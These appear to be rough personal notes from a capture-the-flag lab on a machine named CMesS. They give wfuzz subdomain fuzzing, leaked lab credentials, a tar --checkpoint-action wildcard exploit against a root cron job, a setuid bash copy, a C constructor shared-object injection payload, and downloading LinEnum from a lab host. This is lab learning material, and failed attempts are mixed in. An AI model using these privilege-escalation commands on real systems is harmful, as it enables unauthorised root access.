Challenge Machine (CMesS)

can’t get easy or quick SQL

directory busting?

admin page but no way to login or create account.

subdomain? (needs etc/hosts)

wfuzz -c -f sub-fighter -w top5000.txt -u 'http://cmess.thm' -H "Host: FUZZ.cmess.thm" --hw 290

we found dev.cmess.thm

to make sure we can access it, we have to also add the subdomain in /etc/hosts

once we access it, we get this login:

andre@cmess.thm
:
KPFTN_f2yxe%

we get access as admin and can manage files. Can we reverse php?

upload but didn’t see it.*************

create it?

can’t access it

**************it uploaded into assets.

NOT WORKING

YOU CAN MAKE SURE THE COPY AND PASTE SPACING IS CORRECT BY RECOPYING FROM SOURCE

find stuff:

sudo -l

find / -type f -perm -04000 -ls 2>/dev/null

result:

new search

strace /usr/bin/vmware-user-suid-wrapper 2>&1 | grep -i -E "open|access|no such file"

result:

can we make file in etc?

__________________________________________________________________________________________________________

this might take too much time. Check crons first:

cat /etc/crontab

result:

*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

we can do checkpoints!

make the exploit file:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh

give it perms:

chmod +x runme.sh

exploit:

format:

tar czf /tmp/backup.tar.gz <do something>

now:

tar -zcf /tmp/andre_backup.tar.gz *

but it CDs into backup folder first. So we need to go there first as well!

touch /home/andre/backup/--checkpoint=1 

touch /home/andre/backup/--checkpoint-action=exec=sh\ runme.sh

********* We can come back to this but we can’t touch in andre’s

now we check until the tmp/bash is created:

ls -la /tmp

once it is, we can run it:

/tmp/bash -p

we have root!

__________________________________________________________________________________________________________

capabilities?

getcap -r / 2>/dev/null

result:

/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/mtr = cap_net_raw+ep

__________________________________________________________________________________________________________

back to shared object injection:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

access("/etc/suid-debug", F_OK)

cd /home/tmp/
nano suid-debug.c
ctrl+x
y

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/libcalc.c

non work. Try LinPEAS or LinEnum?

transfer them:

wget http://10.6.62.12:8920/LinEnum.sh

host up the files:

python3 -m http.server 8920

what is .bak files?

cat /opt/.password.bak

we get ssh for user andre:

ssh andre@10.10.234.116
UQfsdCB7aAP6

now we can go back and do checkpoints! (go above)